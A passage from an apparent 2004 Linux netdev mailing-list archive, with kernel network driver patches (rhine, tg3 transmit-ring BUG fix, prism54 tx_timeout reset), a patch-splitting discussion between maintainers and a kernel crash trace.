0; /* -EINVAL */ @@ -1874,7 +1874,7 @@ static struct ethtool_ops netdev_ethtool static int netdev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); struct mii_ioctl_data *data = (struct mii_ioctl_data *) & rq->ifr_data; int rc; @@ -1891,7 +1891,7 @@ static int netdev_ioctl(struct net_devic static int rhine_close(struct net_device *dev) { long ioaddr = dev->base_addr; - struct rhine_private *rp = dev->priv; + struct rhine_private *rp = netdev_priv(dev); del_timer_sync(&rp->timer); --gKMricLos+KVdGMg-- From jgarzik@pobox.com Sun May 23 22:18:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 23 May 2004 22:18:56 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O5IYKO001666 for ; Sun, 23 May 2004 22:18:34 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BRGtq-0004lB-TO; Fri, 21 May 2004 21:45:51 +0100 Message-ID: <40AE6A71.1070305@pobox.com> Date: Fri, 21 May 2004 16:45:37 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: Netdev Subject: Re: patch submission question References: <200405201543.i4KFhHk08317@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200405201543.i4KFhHk08317@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5255 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Don Fry wrote: > Jeff, > > I have four one-line patches for the pcnet32 driver. Should I send them > as one patch, or four one-line patches? > > 1) Change PCnet/FAST III 79C976 to PCnet/PRO 79C976. > 2) In pcnet32_interrupt change (delta >= TX_RING_SIZE) to (... > ...) > 3) add 'static' to pcnet32_get_regs and pcnet32_get_regs_len. > (prototype has static, routine does not have static). > 4) reading bcr34 hangs the system with some variants of the chip in > pcnet2_get_regs. Sorry I didn't get back to you before you actually sent the patches. Life is what it is... Also, I hope you don't mind me adding a CC to netdev@oss.sgi.com. Even for questions like the above, I _really_ encourage you to CC the mailing list, that way all knowledge (including my preferences) are shared and archived. This is another part of open development. The main point is to separate things out into logical changes. For practical purposes, this usually means I will often lump several minor changes into a single patch. It is up to you, the maintainer, to decide where to draw the line. In your above example, I would send #2 and #4 as separate patches, and combine #1 and #3 into a single "trivial changes" patch. Jeff From gnb@speed.melbourne.sgi.com Mon May 24 00:36:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 00:36:30 -0700 (PDT) Received: from omx1.americas.sgi.com (cfcafw.sgi.com [198.149.23.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O7aPKO008656 for ; Mon, 24 May 2004 00:36:26 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by omx1.americas.sgi.com (8.12.10/8.12.9/linux-outbound_gateway-1.1) with SMTP id i4O7Qxiv014597 for ; Mon, 24 May 2004 02:27:00 -0500 Received: from speed.melbourne.sgi.com (speed.melbourne.sgi.com [134.14.55.174]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA11535; Mon, 24 May 2004 17:26:58 +1000 Received: by speed.melbourne.sgi.com (Postfix, from userid 16345) id 2835B57980; Mon, 24 May 2004 17:26:58 +1000 (EST) Date: Mon, 24 May 2004 17:26:58 +1000 From: Greg Banks To: "David S. Miller" Cc: Linux Network Development List Subject: [PATCH] fix BUG in tg3_tx Message-ID: <20040524072657.GC27177@sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.27i X-archive-position: 5256 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gnb@sgi.com Precedence: bulk X-list: netdev G'day, The tg3 transmit code assumes that tg3_tx() will never have to clean up part of an skb queued for transmit. This assumption is wrong; sometimes tg3_tx() will be called partway through an skb, which trips the first BUG() and drops the machine into kdb. We've seen this happen on 2.4 (rarely) and 2.6 (easy to reproduce, just run about 5 minutes' worth of NFS or Samba load). This patch against 2.6.6 fixes this problem by changing the shadow transmit logic to put the non-NULL skb pointer in the *last* ring entry instead of the first, so that it is freed only after all parts have been DMAd onto the card, and can handle tg3_tx() being called partway through. SGI PV 903520 and PV 891640. Index: linux/drivers/net/tg3.c =================================================================== --- linux.orig/drivers/net/tg3.c Mon May 10 12:32:38 2004 +++ linux/drivers/net/tg3.c Mon May 24 17:23:12 2004 @@ -2103,10 +2103,6 @@ return err; } -/* Tigon3 never reports partial packet sends. So we do not - * need special logic to handle SKBs that have not had all - * of their frags sent yet, like SunGEM does. - */ static void tg3_tx(struct tg3 *tp) { u32 hw_idx = tp->hw_status->idx[0].tx_consumer; @@ -2115,37 +2111,26 @@ while (sw_idx != hw_idx) { struct tx_ring_info *ri = &tp->tx_buffers[sw_idx]; struct sk_buff *skb = ri->skb; - int i; - - if (unlikely(skb == NULL)) - BUG(); - - pci_unmap_single(tp->pdev, - pci_unmap_addr(ri, mapping), - skb_headlen(skb), - PCI_DMA_TODEVICE); ri->skb = NULL; - - sw_idx = NEXT_TX(sw_idx); - - for (i = 0; i < skb_shinfo(skb)->nr_frags; i++) { - if (unlikely(sw_idx == hw_idx)) - BUG(); - - ri = &tp->tx_buffers[sw_idx]; - if (unlikely(ri->skb != NULL)) - BUG(); - + + if (ri->index == 0) { + pci_unmap_single(tp->pdev, + pci_unmap_addr(ri, mapping), + pci_unmap_len(ri, len), + PCI_DMA_TODEVICE); + } else { pci_unmap_page(tp->pdev, pci_unmap_addr(ri, mapping), - skb_shinfo(skb)->frags[i].size, + pci_unmap_len(ri, len), PCI_DMA_TODEVICE); - - sw_idx = NEXT_TX(sw_idx); } - - dev_kfree_skb_irq(skb); + if (skb) { + if (unlikely(ri->index != skb_shinfo(skb)->nr_frags)) + BUG(); + dev_kfree_skb_irq(skb); + } + sw_idx = NEXT_TX(sw_idx); } tp->tx_cons = sw_idx; @@ -2605,6 +2590,18 @@ schedule_work(&tp->reset_task); } +static inline void tg3_set_txri(struct tg3 *tp, int entry, struct sk_buff *skb, + int index, dma_addr_t addr, int len) +{ + struct tx_ring_info *ri = &tp->tx_buffers[entry]; + + ri->skb = (index == skb_shinfo(skb)->nr_frags ? skb : NULL); + ri->index = index; + pci_unmap_addr_set(ri, mapping, addr); + pci_unmap_len_set(ri, len, len); +} + + static void tg3_set_txd(struct tg3 *, int, dma_addr_t, int, u32, u32); static int tigon3_4gb_hwbug_workaround(struct tg3 *tp, struct sk_buff *skb, @@ -2645,6 +2642,7 @@ if (i == 0) { tp->tx_buffers[entry].skb = new_skb; pci_unmap_addr_set(&tp->tx_buffers[entry], mapping, new_addr); + pci_unmap_len_set(&tp->tx_buffers[entry], len, new_skb->len); } else { tp->tx_buffers[entry].skb = NULL; } @@ -2804,8 +2802,7 @@ /* Queue skb data, a.k.a. the main skb fragment. */ mapping = pci_map_single(tp->pdev, skb->data, len, PCI_DMA_TODEVICE); - tp->tx_buffers[entry].skb = skb; - pci_unmap_addr_set(&tp->tx_buffers[entry], mapping, mapping); + tg3_set_txri(tp, entry, skb, 0, mapping, len); would_hit_hwbug = 0; @@ -2831,8 +2828,7 @@ frag->page_offset, len, PCI_DMA_TODEVICE); - tp->tx_buffers[entry].skb = NULL; - pci_unmap_addr_set(&tp->tx_buffers[entry], mapping, mapping); + tg3_set_txri(tp, entry, skb, i+1, mapping, len); if (tg3_4g_overflow_test(mapping, len)) { /* Only one should match. */ @@ -3002,8 +2998,7 @@ /* Queue skb data, a.k.a. the main skb fragment. */ mapping = pci_map_single(tp->pdev, skb->data, len, PCI_DMA_TODEVICE); - tp->tx_buffers[entry].skb = skb; - pci_unmap_addr_set(&tp->tx_buffers[entry], mapping, mapping); + tg3_set_txri(tp, entry, skb, 0, mapping, len); tg3_set_txd(tp, entry, mapping, len, base_flags, (skb_shinfo(skb)->nr_frags == 0) | (mss << 1)); @@ -3025,8 +3020,7 @@ frag->page_offset, len, PCI_DMA_TODEVICE); - tp->tx_buffers[entry].skb = NULL; - pci_unmap_addr_set(&tp->tx_buffers[entry], mapping, mapping); + tg3_set_txri(tp, entry, skb, i+1, mapping, len); tg3_set_txd(tp, entry, mapping, len, base_flags, (i == last)); Index: linux/drivers/net/tg3.h =================================================================== --- linux.orig/drivers/net/tg3.h Mon May 10 12:32:02 2004 +++ linux/drivers/net/tg3.h Mon May 24 16:58:28 2004 @@ -1774,6 +1774,8 @@ struct tx_ring_info { struct sk_buff *skb; DECLARE_PCI_UNMAP_ADDR(mapping) + DECLARE_PCI_UNMAP_LEN(len) + u32 index; u32 prev_vlan_tag; }; Greg. -- Greg Banks, R&D Software Engineer, SGI Australian Software Group. I don't speak for SGI. From davem@redhat.com Mon May 24 00:41:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 00:41:13 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O7fAKO009244 for ; Mon, 24 May 2004 00:41:11 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4O7fAGG026339; Mon, 24 May 2004 03:41:10 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4O7fA020584; Mon, 24 May 2004 03:41:10 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4O7f6hk006453; Mon, 24 May 2004 03:41:06 -0400 Date: Mon, 24 May 2004 00:40:45 -0700 From: "David S. Miller" To: Greg Banks Cc: netdev@oss.sgi.com Subject: Re: [PATCH] fix BUG in tg3_tx Message-Id: <20040524004045.58b3eb44.davem@redhat.com> In-Reply-To: <20040524072657.GC27177@sgi.com> References: <20040524072657.GC27177@sgi.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5257 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 24 May 2004 17:26:58 +1000 Greg Banks wrote: > The tg3 transmit code assumes that tg3_tx() will never have to clean > up part of an skb queued for transmit. This assumption is wrong; Greg, perhaps my reading of the tg3 chip docs is different from yours. The hardware is NEVER supposed to do this. Or is there an errata in some chip versions? I've never triggered that BUG() assertion on any of my hardware, ever. From gnb@speed.melbourne.sgi.com Mon May 24 01:07:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:07:06 -0700 (PDT) Received: from zok.sgi.com (mtvcafw.sgi.com [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O871KO010755 for ; Mon, 24 May 2004 01:07:01 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id i4O84Whv001330 for ; Mon, 24 May 2004 01:04:33 -0700 Received: from speed.melbourne.sgi.com (speed.melbourne.sgi.com [134.14.55.174]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id SAA12423; Mon, 24 May 2004 18:04:31 +1000 Received: by speed.melbourne.sgi.com (Postfix, from userid 16345) id 7F12157980; Mon, 24 May 2004 18:04:31 +1000 (EST) Date: Mon, 24 May 2004 18:04:31 +1000 From: Greg Banks To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: Re: [PATCH] fix BUG in tg3_tx Message-ID: <20040524080431.GD27177@sgi.com> References: <20040524072657.GC27177@sgi.com> <20040524004045.58b3eb44.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040524004045.58b3eb44.davem@redhat.com> User-Agent: Mutt/1.3.27i X-archive-position: 5258 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gnb@sgi.com Precedence: bulk X-list: netdev On Mon, May 24, 2004 at 12:40:45AM -0700, David S. Miller wrote: > On Mon, 24 May 2004 17:26:58 +1000 > Greg Banks wrote: > > > The tg3 transmit code assumes that tg3_tx() will never have to clean > > up part of an skb queued for transmit. This assumption is wrong; > > Greg, perhaps my reading of the tg3 chip docs is different > from yours. The hardware is NEVER supposed to do this. I'd like to know where you read that, because neither I nor any of the other SGI engineers who have read the Broadcom docs can find any such guarantee. The consensus here is that there is no guarantee about where the transmit ring consumer index is when the card DMAs a status block update. We've seen that BUG() trip many times both on 2.4 and 2.6. SGI ProPack for Linux has been shipping for a year now with a workaround for this bug (the BUG() is changed to a break). > Or is there an errata in some chip versions? We've seen this on both 5701 and 5704 hardware. The SGI cards ship have slightly different firmware from stock Broadcom cards, I don't know if that's a factor. It might also be something to do with the Altix IO architecture. I don't know why the card chooses to do this, but it most certainly does. The IRIX driver guys tells me this same behaviour happens on the Origin hardware, and the IRIX driver had an equivalent fix applied about 18 months ago. > I've never triggered that BUG() assertion on any of my > hardware, ever. Ok, here's one of several mostly identical stack traces reported by various people inside SGI on 2.6 kernels. If you want to wait for a day or so I can probably make a 2.4 kernel do this also (I did that during testing a coupld of days ago but didn't save the stack trace, doh!) [root@budgie root]# swapper[0]: bugcheck! 0 [1] Pid: 0, CPU 0, comm: swapper psr : 0000101009022018 ifs : 8000000000000d1e ip : [] Not tainted ip is at tg3_tx+0x5a0/0x5c0 [tg3] unat: 0000000000000000 pfs : 0000000000000d1e rsc : 0000000000000003 rnat: 800000025da66955 bsps: a0000001000fdec0 pr : 80000000ff7669a5 ldrs: 0000000000000000 ccv : 0000000000000000 fpsr: 0009804c8a70033f csd : 0000000000000000 ssd : 0000000000000000 b0 : a000000200165980 b6 : a000000100003320 b7 : a0000001000cc200 f6 : 1003e0fc0fc0fc0fc0fc1 f7 : 0ffdaa200000000000000 f8 : 1003e0000000000000240 f9 : 1003e0000000000002490 f10 : 1003e000000000ea00000 f11 : 1003e00000000367b7ad0 r1 : a0000001009ec7f0 r2 : 0000000000000000 r3 : 0000000000004000 r8 : 0000000000000026 r9 : 0000000000000002 r10 : 0000000000000001 r11 : 0000000000000004 r12 : e0000030146a3c50 r13 : e00000301469c000 r14 : 0000000000004000 r15 : a000000100734fb0 r16 : e00000b004a147a8 r17 : e00000b07ba88060 r18 : e000003007ba0000 r19 : 0000000000180000 r20 : 0000000000000014 r21 : 0000000000080000 r22 : 0000000000100000 r23 : e00000b004a150e4 r24 : e00000b004a150d8 r25 : e0000030146a3bf0 r26 : e00000b004a15810 r27 : 0000000000000074 r28 : 0000000000000074 r29 : e000003007ba002c r30 : e00000b07ba8802c r31 : 0000000000000002 Call Trace: [] show_stack+0x80/0xa0 sp=e0000030146a3820 bsp=e00000301469d2c8 [] die+0x1b0/0x280 sp=e0000030146a39f0 bsp=e00000301469d2a0 [] ia64_bad_break+0x340/0x480 sp=e0000030146a39f0 bsp=e00000301469d280 [] ia64_leave_kernel+0x0/0x260 sp=e0000030146a3a80 bsp=e00000301469d280 [] tg3_tx+0x5a0/0x5c0 [tg3] sp=e0000030146a3c50 bsp=e00000301469d188 [] tg3_interrupt_main_work+0x150/0x280 [tg3] sp=e0000030146a3c50 bsp=e00000301469d158 [] tg3_interrupt+0x100/0x1c0 [tg3] sp=e0000030146a3c50 bsp=e00000301469d110 [] handle_IRQ_event+0xa0/0x120 sp=e0000030146a3c50 bsp=e00000301469d0c8 [] do_IRQ+0x390/0x4a0 sp=e0000030146a3c50 bsp=e00000301469d078 [] ia64_handle_irq+0xc0/0x1a0 sp=e0000030146a3c50 bsp=e00000301469d040 [] ia64_leave_kernel+0x0/0x260 sp=e0000030146a3c50 bsp=e00000301469d040 [] snidle+0xb0/0x180 sp=e0000030146a3e20 bsp=e00000301469d038 [] cpu_idle+0x130/0x220 sp=e0000030146a3e20 bsp=e00000301469cfa8 [] start_kernel+0x460/0x4e0 sp=e0000030146a3e20 bsp=e00000301469cf50 [] _start+0x2c0/0x0 sp=e0000030146a3e30 bsp=e00000301469cf50 3 out of 4 cpus in kdb, waiting for the rest 1 cpu are not in kdb, their state is unknown Entering kdb (current=0xe00000301469c000, pid 0) on processor 0 Oops: due to oops @ 0xa000000200165980 psr: 0x0000101009022018 ifs: 0x8000000000000d1e ip: 0xa000000200165980 unat: 0x0000000000000000 pfs: 0x0000000000000d1e rsc: 0x0000000000000003 rnat: 0x800000025da66955 bsps: 0xa0000001000fdec0 pr: 0x80000000ff7669a5 ldrs: 0x0000000000000000 ccv: 0x0000000000000000 fpsr: 0x0009804c8a70033f b0: 0xa000000200165980 b6: 0xa000000100003320 b7: 0xa0000001000cc200 r1: 0xa0000001009ec7f0 r2: 0x0000000000000000 r3: 0x0000000000004000 r8: 0x0000000000000026 r9: 0x0000000000000002 r10: 0x0000000000000001 r11: 0x0000000000000004 r12: 0xe0000030146a3c50 r13: 0xe00000301469c000 r14: 0x0000000000004000 r15: 0xa000000100734fb0 r16: 0xe00000b004a147a8 r17: 0xe00000b07ba88060 r18: 0xe000003007ba0000 r19: 0x0000000000180000 r20: 0x0000000000000014 r21: 0x0000000000080000 r22: 0x0000000000100000 r23: 0xe00000b004a150e4 r24: 0xe00000b004a150d8 r25: 0xe0000030146a3bf0 r26: 0xe00000b004a15810 r27: 0x0000000000000074 r28: 0x0000000000000074 r29: 0xe000003007ba002c r30: 0xe00000b07ba8802c r31: 0x0000000000000002 ®s = e0000030146a3a90 [0]kdb> Greg. -- Greg Banks, R&D Software Engineer, SGI Australian Software Group. I don't speak for SGI. From mcgrof@studorgs.rutgers.edu Mon May 24 01:30:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:30:45 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8USKO012283 for ; Mon, 24 May 2004 01:30:28 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 1943AF9D54; Mon, 24 May 2004 04:30:28 -0400 (EDT) Date: Mon, 24 May 2004 04:30:28 -0400 From: "Luis R. Rodriguez" To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: [PATCH 2/14] prism54: reset card on tx_timeout Message-ID: <20040524083028.GC3330@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="nM4qzG6nHdnn/sXd" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 5262 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --nM4qzG6nHdnn/sXd Content-Type: multipart/mixed; boundary="GD+uNaHYxbVPHaQt" Content-Disposition: inline --GD+uNaHYxbVPHaQt Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 2004-03-18 Aurelien Alleaume * islpci_eth.[c,h] islpci_dev.[c,h] : reset card on tx_timeout. Patch submited by Denis Vlasenko --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --GD+uNaHYxbVPHaQt Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="02-reset_card_on_tx_timeout.patch" Content-Transfer-Encoding: quoted-printable 2004-03-18 Aurelien Alleaume =20 * islpci_eth.[c,h] islpci_dev.[c,h] : reset card on tx_timeout. Patch submited by Denis Vlasenko Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v retrieving revision 1.70 retrieving revision 1.71 diff -u -r1.70 -r1.71 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c 18 Mar 2004 0= 5:25:24 -0000 1.70 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c 18 Mar 2004 1= 1:44:17 -0000 1.71 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v 1.68 2004/02/28 0= 3:06:07 mcgrof Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v 1.71 2004/03/18 1= 1:44:17 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2003 Herbert Valerio Riedel @@ -743,9 +743,11 @@ /* initialize workqueue's */ INIT_WORK(&priv->stats_work, (void (*)(void *)) prism54_update_stats, priv); - priv->stats_timestamp =3D 0; =20 + INIT_WORK(&priv->reset_task, islpci_do_reset_and_wake, priv); + priv->reset_task_pending =3D 0; + /* allocate various memory areas */ if (islpci_alloc_memory(priv)) goto do_free_netdev; Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.h,v retrieving revision 1.55 retrieving revision 1.56 diff -u -r1.55 -r1.56 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.h 18 Mar 2004 1= 1:16:23 -0000 1.55 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.h 18 Mar 2004 1= 1:44:17 -0000 1.56 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.h,v 1.55 2004/03/18 1= 1:16:23 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.h,v 1.56 2004/03/18 1= 1:44:17 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc.=20 * Copyright (C) 2003 Herbert Valerio Riedel @@ -188,6 +188,9 @@ struct list_head bss_wpa_list; int num_bss_wpa; struct semaphore wpa_sem; + + struct work_struct reset_task; + int reset_task_pending; } islpci_private; =20 static inline islpci_state_t Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v retrieving revision 1.29 retrieving revision 1.30 diff -u -r1.29 -r1.30 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 18 Mar 2004 0= 5:25:24 -0000 1.29 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 18 Mar 2004 1= 1:44:17 -0000 1.30 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.27 2004/01/30 1= 6:24:00 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.30 2004/03/18 1= 1:44:17 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * @@ -319,17 +319,9 @@ /* The card reports full 802.11 packets but with a 20 bytes * header and without the FCS. But there a is a bit that * indicates if the packet is corrupted :-) */ - /* int i; */ - if (skb->data[8] & 0x01){ + if (skb->data[8] & 0x01) /* This one is bad. Drop it !*/ discard =3D 1; - /* printk("BAD\n");*/ - } - /* - for(i=3D0;i<50;i++) - printk("%2.2X:",skb->data[i]); - printk("\n"); - */ =09 skb_pull(skb, 20); skb->protocol =3D htons(ETH_P_802_2); skb->mac.raw =3D skb->data; @@ -413,6 +405,15 @@ return 0; } =20 +void=20 +islpci_do_reset_and_wake(void *data) +{ + islpci_private *priv =3D (islpci_private *) data; + islpci_reset(priv, 1); + netif_wake_queue(priv->ndev); + priv->reset_task_pending =3D 0; +} + void islpci_eth_tx_timeout(struct net_device *ndev) { @@ -422,13 +423,11 @@ /* increment the transmit error counter */ statistics->tx_errors++; =20 -#if 0 - /* don't do this here! we are not allowed to sleep since we are in interr= upt context */ - if (islpci_reset(priv)) - printk(KERN_ERR "%s: error on TX timeout card reset!\n", - ndev->name); -#endif + if(!priv->reset_task_pending) { + priv->reset_task_pending =3D 1; + netif_stop_queue(ndev); + schedule_work(&priv->reset_task); + } =20 - /* netif_wake_queue(ndev); */ return; } Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.h,v retrieving revision 1.5 retrieving revision 1.6 diff -u -r1.5 -r1.6 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.h 12 Jan 2004 2= 2:16:32 -0000 1.5 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.h 18 Mar 2004 1= 1:44:17 -0000 1.6 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.h,v 1.5 2004/01/12 22= :16:32 jmaurer Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.h,v 1.6 2004/03/18 11= :44:17 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * @@ -27,5 +27,6 @@ int islpci_eth_transmit(struct sk_buff *, struct net_device *); int islpci_eth_receive(islpci_private *); void islpci_eth_tx_timeout(struct net_device *); +void islpci_do_reset_and_wake(void *data); =20 #endif /* _ISL_GEN_H */ --GD+uNaHYxbVPHaQt-- --nM4qzG6nHdnn/sXd Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbKkat1JN+IKUl4RAnD6AJsFJHuYI518d6eM0lex2kOCq5Cl/ACfQOsS MQZaNRzTSFiiqk4S/wtu7uA= =3qp6 -----END PGP SIGNATURE----- --nM4qzG6nHdnn/sXd-- From mcgrof@studorgs.rutgers.edu Mon May 24 01:30:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:30:09 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8U4KO012113 for ; Mon, 24 May 2004 01:30:04 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id A6C16F9D4B; Mon, 24 May 2004 04:30:03 -0400 (EDT) Date: Mon, 24 May 2004 04:30:03 -0400 From: "Luis R. Rodriguez" To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: [PATCH 0/14] prism54: bring up to sync with prism54.org cvs rep Message-ID: <20040524083003.GA3330@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; 